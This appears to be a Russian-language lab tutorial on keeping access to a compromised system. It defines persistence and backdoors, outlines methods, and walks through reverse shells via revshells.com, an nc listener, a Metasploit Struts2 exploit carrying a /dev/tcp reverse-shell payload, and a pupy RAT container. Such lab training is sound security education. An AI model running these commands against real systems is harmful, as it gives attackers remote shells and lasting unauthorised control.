Skip to main content

Закрепление доступа

Определения

Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.

Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)   - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.

Алгоритм закрепления доступа

Процесс: 

Стартовые условия Действия Результат

Рабочая уязвимость

Поднять сервер приема соединений

Эксплуатировать уязвимость на атакуемом сервере для запуска соединения

Обратный shell

Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...)

Создание сервера для обработки соединений

Создание / использование существующего скрипта/эксплоита

Эксплоит

Обратный shell

Эксплоит

Метод в соответствии со способом закрепления

Устойчивый контроль

Способы закрепления доступа:

  • Использовать учетные данные на скомпроментированной системе
  • Изменение в легитимные механизмы доступа. 
  • Внесение изменений в сервисы (добавляется нагрузка)
  • Изменение ядра или загрузчика системы


Обратный shell

Генерация команд для получения обратной консоли

Ресурс https://www.revshells.com/ позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться. 

image.png

В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.

image.png

Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.

image.png

Эту строку добавляем как параметр к нагрузке. 

Запускаем на 189 сервер 

nc -lvnp 9004

Эксплуатация базовой уязвимости

$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS evil.corp192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD ''sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit

Теперь в консоли с nc мы увидим shell удаленной системы.

Создание нагрузки.

 

В msf есть встроенные нагрузки для удаленного управления системой. Remote admin toolkit (RAT). Также есть и ряд других генераторов, рассмотрим pupy, 

Запускаем тестовый стенд уязвимого приложения. Запускаем контейнер pupy RAT server. 

docker run -d --rm -v /tmp/projects:/projects -p 2022:22 --name pupy alxchk/pupy:unstable